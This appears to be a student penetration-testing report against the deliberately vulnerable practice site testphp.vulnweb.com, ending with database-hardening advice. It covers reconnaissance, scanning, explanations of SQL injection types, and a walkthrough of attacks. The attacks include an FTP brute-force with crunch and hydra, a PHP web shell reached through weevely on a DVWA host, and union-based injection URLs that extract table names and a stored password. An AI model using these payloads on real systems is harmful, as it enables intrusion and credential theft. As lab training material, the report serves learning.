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Penetration Testing on Web Server  





  About company  

   IP address of Website  

  Location of server  

  Operating System of server  

  Web server technology and version  

 Built in technology  

 When website first seen  

 Previous technology used by website  

  Which ISP IP range server is using  

  Do any other domains are on same server, if yes domain names 

   Ports open on Webserver  

  Registrar information of domain   

  Email ID of some employees of company  

 .Social Networking Profiles of employees  

  LinkedIn Search for profiles with company name 



 
   Director/CEO of company  

  Check firewall and load balancer presence  

  Check directory listing, if enabled write the directory structure  

  Check for files such as robots.txt and sites.xml  

2. Based on the Information from above source, scan the website of company 

for vulnerabilities through different scanners, make a report on vulnerability 
which you find there.  

3. Try to hack that server for services which you found there like ftp, login 

passwords. In report write the tools which you have used to hack on that 
server and its output.  

4. Check for database and try to get into database.  

5. Write the final conclusion that you got from above process, if you found 
any vulnerabilities then how those vulnerabilities can be cover and if not, 
then also how much secured server is. 



1. About company  

testphp.vulnweb.com 

This is an example PHP application, which is intentionally vulnerable to 

web attacks. It is intended to help you test Acunetix. It also helps you 

understand how developer errors and bad configuration may let someone 

break into your website. You can use it to test other tools and your 

manual hacking skills as well. 



2. IP address of Website  

• To find IP of any website 
• we have to search in browser 

https://whois.domaintools.com/vulnweb.com 
   after getting website home page i am typing the 
website                name "tetphp.vulnweb.com" 



screenshot shows that IP address of website is  
                              176.28.50.165 



We can also find out IP of any website in KALI LINUX 
Tool name : dmitry 
Command  : dmitry -i testphp.vulnweb.com 
After executing the command it will show the  
HostIP:176.28.50.165 



3. Location of server  

•            To find out location of the server 
we have to search in any browser  
https://www.iplocation.net/ip-lookup 
after entering IP address of website 
it will show the location of server as shown in the 
screenshot 



We can also find out Location of any Server by website shodan 



4. Operating System of server  

             To find out operating system of the server 
• in browser search  
• https://whois.domaintools.com/vulnweb.com 
     it will show the OS of the server 



5. Web server technology and version  

          To find out web server technology and version 
• In any browser search 
     https://builtwith.com/176.28.50.165 
• It will show the result 



6. Built in technology  

       To find out Built in technology technology 
In any browser search 
https://builtwith.com/176.28.50.165 
It will show the result 



7. When website first seen 

    In any browser we have to search  
http://web.archive.org/web/*/testphp.vulnweb.com 
it will show the when website was first seen 



8. Previous technology used by website  

          In any browser we have to search  
https://builtwith.com/176.28.50.165 
it will show the previous technology used by website 



9. Which ISP IP range server is using 

   We can also find out ISP IP range of any website in KALI 
LINUX 
Tool name : dmitry 
Command  : dmitry -i testphp.vulnweb.com 
After executing the command it will show the  
inetnum:   176.28.46.0 – 176.28.55.255 



10. Do any other domains are on same server, if yes domain names  

      In any browser we have to search  
https://www.yougetsignal.com/tools/web-sites-on-web-server/ 
When i type IP address of website, 
it will  show that the 20 domains hosted on the same web server as 
shown in the screenshot 



11. Ports open on Webserver  

When we have to find out open ports on the webserver , 
in KALI LINUX TERMINAL 

Tool : dmitry 
Command : dmitry -p testphp.vulnweb.com 
After executing the command it will show the ports open 
on the webserver 



 We can also find out open ports on the webserver by 
intense scan , in KALI LINUX TERMINAL 

Tool : nmap 
Command : nmap -A -T4 176.28.50.165 
After executing the command it will show the ports open 
on the webserver 





12. Registrar information of domain  

     To find IP of any website 
we have to search in browser 
https://whois.domaintools.com/vulnweb.com 
   after getting website home page i am typing the 
website                name "tetphp.vulnweb.com“ 
It will show the Registrar information as shown in the 
screenshot 



13. Email ID of some employees of company  

     We can find out Email ID of employees of company 
With the help of KALI LINUX 
Tool : Dmitry 
Command : dmitry -e 176.28.50.165 
Command : dmitry -e testphp.vulnweb.com 
But I think ,server does’t have any email id as show in the screenshot 



14. Social Networking Profiles of employees 

• With the help of Tool “userecon” in kali linux we can find out the social networking  
• Profile of employees of server.  





15. LinkedIn Search for profiles with company name  

I am using Kali linux 
Tool : theHarvester 
Command : theHarvester –d testphp.vulnweb.com -l 500 -b linkedin 
But it will show that no users found on Linkedin as shown in the 
screenshot 



16. Address of company  

      To find out Address of the company 
In any browser search 
https://ipee.at/vulnweb.com 
It will show the address of the company as shown in the screenshot 



17. Director/CEO of company  



18. Check firewall and load balancer presence 

         To checking firewall on server  
I am using KALI LINUX 
Tool : wafw00f 
Command : wafw00f http://testphp.vulnweb.com 
After executing command it will show that no web application firewall found 

http://testphp.vulnweb.com/


19. Checking directory listing, if enabled write the directory 
structure  



20. Check for files such as robots.txt and sites.xml  

To find "robots.txt" we have to add /robots.txt to the url 
of that website 
  But when i add /robots.txt to the url of  website  
tesphp.vulnweb.com  
it doesn’t show any robots.txt file 

• sitex.xml also not found 





      To find vulnerabilities of the website  
I am using two tools 
First tool is windows based tool called 
acunetix 

and second tool is Linux based tool called 
nikto 
      command : sudo nikto –h 

176.28.50.165  



Acunetix 

acunetix 



Nikto 
Command :  sudo nikto –h 176.28.50.165 -p 80  





 1. Basic Authentication Bypass 

 2. GET based SQL Injections 

 3. POST based SQL Injections 

 Some 3 advanced sql injection method also present there 

 

 

 Error Based SQL Injections : 
Sometimes, we cannot exploit SQL Injection vulnerabilities simply by using UNION command. This may 
be because of some security checks in place or because of the complexity of the code. So to perform 
error based SQL injections, we make websites to throw SQL errors through which we can extract critical 
information. Now, different database servers employs different approach of performing error based SQL 
injections as the errors they throw are different in nature. 
For better understanding, let us have a look at the example below: 
 
In Microsoft SQL server, there is an SQL function called convert(), which is used to convert the second 
parameter to the data type given in the first parameter. 
Have a look at the syntax: convert(<data type>,<value>) 
 



                      vulnerability 
(cont’d) 

This means, if we use convert(int,’145’), the output will be 145.  
But, what if we try to convert a value which is not a valid data type like this 
convert(int,’abcd’) 
As you might have expected, the server will throw an error saying:  
“Cannot convert string ‘abcd’ into an int” 

So, our motive is to perform SQL injection. This means, instead of using convert(int,’abcd) we 
ask the SQL server to convert(int,db_name()). As you know, db_name() is same as database() and 
suppose the database name is ‘secret_database’. If we try to convert it, the server will throw an error saying:  
“Cannot convert ‘secret_database’ into int” 
Now, if a website throws a message that shows SQL errors, this means we can definitely perform SQL 
injection here. Using SQL injection, we can easily retrieve the name of the database. And once the database 
name is known we can easily fetch the names of the tables, columns and finally the data too. These SQL 
injections are referred to as Error based SQL injection, where we perform SQL injections when a web 
application throws an SQL error. 



                      vulnerability 
(cont’d) 

• Boolean Based Blind Injections: 
 To understand the injection, let’s fragment it as Boolean + Blind Injections.  

So, Boolean in terms of programming simply means True or False. This means, while performing these injections, we might be asking server to respond us as either true or false. 
Now, the second part is Blind Injections or Blind SQL injections. As the name suggests, these injections are used where we ar e successfully able to fetch critical data but somehow the extracted data is not 
visible on the website (hence, the name blind), which may be attributed to how the website is build. 
So, combining both these parts, in Boolean based blind injections, we perform SQL injections by asking server True or False q uestions and on the basis of the response, we can extract crucial information. 
Let’s have a look at the example below: 
Suppose, If we want to fetch name of a student from a website, we will simply use this SQL query  
 
Select name from students where id=121 
 
The output will be the name of the student against the id 121. 
Now, to perform Boolean based blind injections, we use AND operator. Have a look at the query below where we have used boolean based blind injection to fetch the name of the student 

 Select name from students where id=121 AND 1=1+ 
 
As 1 equals to 1 us universally true, the output will fetch the name of the student. So, how is this injection different from others as we are just extracting the same information in a different way. 
Well, what if we use this query instead. 
 

 



                      vulnerability 
(cont’d) 

Select name from students where id=121 AND 1=0+ 
 
Now, 1 can never be equal to zero, this means the output will be blank. So, in such cases 
boolean based blind injections comes into play. This is how the query will look like: 
 
Select name from students where id=121 AND (get_first_character_of(password))=’a’--+ 
 
Look carefully, this time we are asking server to tell us the first character as ‘true’ or ‘false’. If 
the output shows the student name, this means the  password starts from ‘a’ and we can 
proceed further in a similar way to fetch the complete password and if there is no output, it 
means that the password must start with some other letter. This is how, Boolean based Blind 
Injections are performed. 
 



                      vulnerability 
(cont’d) 

• Time Based Blind Injections: 
  

These injections are used in those cases where we fail to extract data either by using UNION or ERROR based SQL injections and can neither ask a website questions as True or False. So, in order 
to extract critical information, we tamper with the server response time.  
Whenever a request is made to the server, it takes some time to fetch the information and deliver it to us, this is called as  response time. Now, if we tamper with this response time, we can 
extract some crucial information. 
 
The syntax of Time based Blind injections is similar to Boolean based blind injections. Have a look at the query for time bas ed blind injections. 
Select name from students where id=121 AND (if the 1st character of the password = ‘a’ then sleep for 10 seconds) --+ 
 
Here, you can see, we are asking the server to tell us the first character of the password. If the password starts from ‘a’, the server will sleep for 10 seconds, which means increase in response 
time by 10 seconds. And, if the password does not start with ‘a’, the server will take it’s usual response time. In a similar  way, we can predict the whole password. This is how, Time based blind 
injections are performed. 
 

    Using this injection has lot of disadvantages. Firstly, as you can see every time we are making a request to server, it sleeps for 10 seconds. This means, this injection will take a lot of time. 
Secondly, the response time is also dependent on the speed of the internet. If the connection drops in between, it will increase the response time and hence will lead to faulty results. 

 



                      vulnerability 
(cont’d) 

• Cross-site Scripting 

Cross-site scripting (XSS) is a type of web application security 
vulnerability typically found in web applications. XSS attacks 
enable attackers to inject client-side scripts into web pages 
viewed by other users. A cross-site scripting vulnerability may 
be used by attackers to bypass access controls such as the 
same-origin policy. Cross-site scripting carried out on websites 
accounted for roughly 84% of all security vulnerabilities 
documented by Symantec up until 2007. In 2017, XSS attacks 
were still considered a major threat vector. XSS effects vary in 
range from petty nuisance to significant security risk, 
depending on the sensitivity of the data handled by the 
vulnerable site and the nature of any security mitigation 
implemented by the site's owner network. 



                      vulnerability 
(cont’d) 

Weak password 
     

Weak passwords always play a major role in any hack. For the ease of user, sometime applications 
do not enforce password complexity and as a result of that users use simple passwords such as 
password, password123, Password@123, 12345, god, own mobile number etc. Weak password does 
not always mean length and the characters used, it also means the guessability. Name@12345, it 
looks quite complex password but can be guessable. So do not use password related to name, 
place, or mobile number. Weak passwords can be guessable or attacker can bruteforce if the 
length of the password is very small, so try to use random strings with special characters. Though 
that can be hard to remember as a security point of view it’s quite secure. 

 Strong password is also needed to be stored properly. Let’s say, for example, I created a huge 
metal safe to store all my valuable things and put the key just on top of that. It won’t provide 
security. It’s not just about the safe but also about the security of the key. Similarly creating a very 
complex password won’t serve the purpose if we write it and paste it on our desk which also 
should be kept safe. 

https://www.sciencedirect.com/topics/computer-science/complex-password
https://www.sciencedirect.com/topics/computer-science/strong-password




 To hack server ,  I am using KALI LINUX and tool is : 

 crunch : to make password list 

 hydra-wizard : to hack the server 

 In terminal 

 Command : crunch 4 4 –t %%%% -o ftp_pass.txt 

                  hydra-wizard 

 After executing both command after some time it will show the 
password 

as shown in the screenshot 

 





 I am uploading php file to the 
server  



 Hacking the server 

weevely http://52.66.246.14/DVWA/hackable/uploads/abc.php 
12345678 

we can execute every linux command  
dir, pwd, ls,   etc.. 



1 http://testphp.vulnweb.com/artists.php?artist=1 

https://www.hackingarticles.in/beginner-guide-sql-injection-part-1/ 

Open given below targeted URL in the browser 

So here we are going test SQL injection for “id=1″ 



Now use error base technique by adding an apostrophe (‘) symbol at the end of input which will try 

to break the query. 

1 testphp.vulnweb.com/artists.php?artist=1' 

 

 

In the given screenshot you can see we have got an error message which means the running site is infected by SQL injection 



1 http://testphp.vulnweb.com/artists.php?artist=1 order by 

1 

Now using ORDER BY keyword to sort the records in ascending or descending order for id=1 

 

 



1 http://testphp.vulnweb.com/artists.php?artist=1 order by 

2 

Similarly repeating for order 2, 3 and so on one by one 

 



1 http://testphp.vulnweb.com/artists.php?artist=1 order by 

4 

From the screenshot, you can see we have got an error at the order by 4 which means it consists only 

three records. 



1 http://testphp.vulnweb.com/artists.php?artist=1 union select 

1,2,3 

 From the screenshot, you can see it is show result for only one table not for others. 

Let’s penetrate more inside using union base injection to select statement 
from a different table. 



1 http://testphp.vulnweb.com/artists.php?artist=-1 union 

select 1,2,3 

Now try to pass wrong input into the database through URL by replacing artist=1 from artist=-1 as given below: 

 Hence you can see now it is showing the result for the remaining two tables also. 



Use the next query to fetch the name of the database 

1 http://testphp.vulnweb.com/artists.php?artist=-1 union select 

1,database(),3 

From the screenshot, you can read the database name acuart 



Next query will extract the current username as well as a version of the database 

system 

1 http://testphp.vulnweb.com/artists.php?artist=-1 union select 

1,version(),current_user() 

Here we have retrieve 5.1.73 0ubuntu0 10.04.1 as version and acuart@localhost as the 

current user 



Through the next query, we will try to fetch table name inside the database 

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from 

information_schema.table 
From the screenshot you read can the name of the first table 

is artists. 



1 http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from 

information_schema.tables where table_schema=database() limit 1,1 

From the screenshot you can read the name of the second table 

is carts. 



Similarly, repeat the same query for another table with slight 

change 
 

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from 

information_sche 

We got table 3: categ 



http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from 
information_schema.tables where table_schema=database() limit 3,1 

We got table 4: featured 



Use the concat function for selecting pass from table users by executing the following query 

through URL 

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(pass),3 from 

users 

From the screenshot, you can read pass: test 



CONCLUSION 



How to Prevent SQL Injections 

 
 

So far, we have explored the vulnerabilities in a web application that may lead to SQL injection attacks. An 

SQL injection vulnerability can be used by an attacker to read, modify, or even remove the contents of your 

database. 

Additionally, it may also enable one to read a file on any location within the server and transfer the contents 

elsewhere. In this section, we explore various techniques to protect your web application and website 
against SQL injection attacks. 

 Escape User Inputs 

 
 

Generally speaking, it is a difficult task to determine whether a user string is malicious or not. Therefore, the 

best way to go about it is to escape special characters in user input. 

This process saves you from an SQL injection attack. You can escape a string before building the query in PHP 
using the mysql_escape_string() function. You can also escape a string in MySQL using the 
mysqli_real_escape_string() function 
While displaying the output as HTML, you will also need to convert the string to make sure the special 
characters do not interfere with the HTML markup. You can convert special characters in PHP using the 
function htmlspecialchars(). 



 Use Prepared Statements 

Alternately, you can use prepared statements to avoid SQL injections. A prepared statement is a template of 

an SQL query, where you specify parameters at a later stage to execute it. Here is an example of a prepared 

statement in PHP and MySQLi. 

$query = $mysql_connection->prepare("select * from user_table where username = ? and password 
= ?"); 
$query->execute(array($username, $password)); 
 

 Other Hygiene Checks to Prevent SQL Attacks 

 
 

The next step in mitigating this vulnerability is to limit access to the database to only what is necessary. 

For instance, connect your web application to the DBMS using a specific user, which has access to only the 

relevant database. 

Restrict access of the database user to all other locations of the server. You may also wish to block certain 

SQL keywords in your URL through your web server. If you are using Apache as a web server, you can use 

the following lines of code in your .htaccess file to show a 403 Forbidden error to a potential attacker. 
You should be careful before using this technique as Apache will show an error to a reader if the URL 

contains these keywords. 

https://kinsta.com/blog/nginx-vs-apache/
https://kinsta.com/knowledgebase/wordpress-htaccess-file/
https://kinsta.com/knowledgebase/wordpress-htaccess-file/
https://kinsta.com/knowledgebase/wordpress-htaccess-file/
https://kinsta.com/knowledgebase/wordpress-htaccess-file/


RewriteCond %{QUERY_STRING} [^a-
z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] 
[NC] 
RewriteRule (.*) - [F] 
 

As an additional prevention tip, you should always use updated software. When a new version or a 

patch is released, the bugs that were fixed in the update are detailed in the release notes. Once 

the details of a bug are out in the public, running an old version of any software can be risky. 

https://kinsta.com/blog/wordpress-hacked/


 1. Isolate the Database Server 

Production database servers should be isolated as much as 
possible from other applications and services. Dedicated 
DB servers have a smaller footprint and hence attack 
surface, and there’s no need to worry about contending 
resources or conflicting traffic. Operating systems should 
be lean, with only the necessary services installed and 
running. Don’t install other applications unless they are 
required by the database server. 

                                   Depending on the size of your 
environment, you should consider putting your SQL server in 
a restricted network segment/VLAN so that only authorized 
traffic can pass to it.    Typically, only an application server or 

https://www.upguard.com/blog/attack-surface
https://www.upguard.com/blog/attack-surface


2. Tailor the DB Installation 



 Both MSSQL and MySQL offer tons of additional features, most of which 

you probably won’t need for any particular instance. By removing the 
pieces you don’t need, you reduce the possible inroads for exploitation. If 
you want to keep a feature around to play with that you aren’t using yet, 
do it in a test or development environment— best to keep production 
locked down as much as possible, especially before determining what 

effects a new module may have on your environment.  

3. Keep it Updated  

 

 Both MSSQL and MySQL are regularly patched, so be sure to keep your version up to date. Most 

vulnerabilities that get exploited have been known for over a year, so installing security patches in a timely 

manner can prevent the majority of attacks by simply sealing up these flaws. Having a regular patching 

schedule and protocol can help to implement updates in a test environment so any negative effects can be 

discovered without interrupting production. Many shops lack this luxury and fly by the seat of their pants, 
installing updates directly into production and hoping for the best. Usually this works out, fortunately, but 

when it doesn’t, it can go bad quickly, so at the very least understand your rollback options and procedure, 
as well as exactly what the patch is changing. 

https://azure.microsoft.com/en-us/?ocid=cloudplat_hp
https://dev.mysql.com/downloads/mysql/


4. Restrict the DB Processes 

 The user under which the database service runs determines the access database processes 

have to the rest of the server, including the filesystem, ability to execute programs, and so 

on. As with most Linux applications, MySQL will typically run under a dedicated mysql user 

account with minimal permissions to the rest of the server. You can verify this with a 
simple ps command, and make sure that MySQL hasn’t been configured to run as root, 
which definitely happens, especially in extreme circumstances, troubleshooting an outage 

for example, and then isn’t reconfigured once the crisis has been averted. 
      But in Windows installations, MSSQL is often run as local system or an administrator     

account, allowing database processes, including stored procedures and command shell 

interfaces like xp_cmdshell, full access. Ideally, MSSQL should be run as a dedicated, non-
administrator local account with minimal privileges. Newer MS installation wizards can even 

automate this step for you, so if you’re installing a fresh server, be sure to configure this 
option. Other SQL services such as the SQL Agent should also run as restricted local 

accounts, with permissions given as needed, for example to a backup directory. 

  Failure to take this step can allow a compromised database server to compromise the rest of       
the machine and possibly infiltrate the network 



5. Restrict SQL Traffic 

 As mentioned in step one, database servers typically only have another server (or 

several) connecting to it. If this is the case, access to the server on the database 

ports should be blocked everywhere else. By only allowing SQL traffic to and from 

designated IP addresses, you can be sure that a malicious actor or infected client 

inside the firewall doesn’t hammer away at your server. In some instances, clients will 
need to connect directly to the database server itself, for example with a thick client 

front end application. The same logic applies here, restricting those SQL connections 

to the specific IPs (or at least IP segment) that need it. Because these are endpoints, 

be sure to secure them properly, as malware can scan and attack SQL servers. You 

can handle this with iptables on Linux, the Windows firewall, or preferably, a 
dedicated firewall device. 

https://help.ubuntu.com/community/IptablesHowTo
https://support.microsoft.com/en-us/hub/4338813/windows-help


6. Use Least Privilege When Assigning Permissions 

 
 
 Database users, like users on any system, should only have as much access 

as they need to perform their duties, also known as the principle of least 

privilege. Stay away from “ALL” grants in MySQL and sysadmin role 
membership in MSSQL if possible. Consider granting read access 

to views instead of directly to tables, to protect sensitive fields if necessary. 
Stored procedures, maintenance plans and other automated tasks should be 

run as dedicated users with the appropriate permission set. This measure 

prevents any one piece of the database server, or any malicious or 

compromised user, from wrecking the whole system. Often times application 

instructions will have you put their users in a full access admin role. This is 
against general best practice and typically represents either sloppy 

programming that requires more access than it should, or a desire to remove 

security from support considerations, neither of which has your data’s best 
interest in mind, so always consider how implementing application accounts 
can affect your overall resiliency. 

https://www.upguard.com/blog/principle-of-least-privilege
https://www.upguard.com/blog/principle-of-least-privilege
https://en.wikipedia.org/wiki/View_(SQL)


7. Set a Strong Admin Password 

 In MSSQL, the sa account is used whenever mixed-mode authentication is 

selected. Microsoft recommends using Windows integrated auth, but many 

applications require mixed-mode to support their database users and 

connection strings. If you do have mixed-mode auth enabled, be sure to secure 
the sa account with a complex password to prevent it being brute forced. 

  

Similarly, the root user for MySQL should have a complex password. If 

someone is scanning your database server, the first thing they are going to do 

is try to login as the default admin account, so failure to lock it down can result 

in total system compromise. 

https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-2017
https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-2017
https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-2017
https://support.microsoft.com/en-us/hub/4338813/windows-help


8. Audit DB Logins 

 Part of your overall logging and monitoring should include login auditing for your SQL database. At the very 

least, these records will prove useful in forensic situations, but if regularly monitored or even integrated into an 

automated notification system, repeated failed logins can alert of attacks and other issues before they become 

critical, allowing you to disable compromised users or change their passwords, while logging successful logins 

keeps a record of which admins, users and applications have connected, helping troubleshooting and change 
management. 

 
 

9. Secure Your Backups 

 
  Guess what? Your backups have the same data as your production databases and need to be 

secured with as much care as the server itself. This can mean locking down backup directories, 

restricting access to the server or storage hosting the data, physical security of removable media, 

network access to backups and reviewing who has access to perform and access backups. Just don’t 
forget backups are part of your data ecosystem when it comes to security or someone might just go 
through the open window to get around the barricaded door. 

https://dev.mysql.com/doc/refman/5.7/en/audit-log.html
https://docs.microsoft.com/en-us/sql/ssms/configure-login-auditing-sql-server-management-studio?view=sql-server-2017


10. Protect Against SQL Injection 

 When a web application accepts user input and sends it to the database, unsanitized data can “inject” 
malicious code into the server and perform unauthorized tasks, including getting full shell access, depending 

on the server’s configuration. There are several ways to mitigate these attacks, including step 6 above, 
restricting the ability users to perform unauthorized tasks, but there’s really only one way to prevent them, and 

that’s to utilize stored procedures instead of direct SQL queries for webapp interaction. 
 Stored procedures only accept pre-established parameters and can only perform very specific functions, so 

they prevent the injection of data into a raw SQL query. This has been best practice for many years now, but 

many production applications still run code with SQLi vulnerabilities, one of the most commonly exploited 

vulnerabilities on the internet. 

11. Continuous Visibility 

 Getting everything setup and configured securely can save you a lot of trouble down the line. But the only 

way to ensure that your database system remains secure is to have constant visibility into its configuration 

state, with tests being run against a policy you create. This way, you will be notified when something 

changes, say a new db user added as a sysadmin or given db_owner permissions. Without something like 

this, you’re essentially guessing that nothing has changed since you last checked, or even if you want to 
make sure, you have to manually gather your configuration information, which is both time consuming and 

ultimately futile, as to perform the same check in the future would require a replication of that 

effort. UpGuard offers continuous visibility into SQL database systems, as well as the rest of your servers 

and network devices. 

https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
https://dev.mysql.com/doc/connector-net/en/connector-net-tutorials-stored-procedures.html
https://docs.microsoft.com/en-us/sql/relational-databases/stored-procedures/create-a-stored-procedure?view=sql-server-2017
https://www.upguard.com/



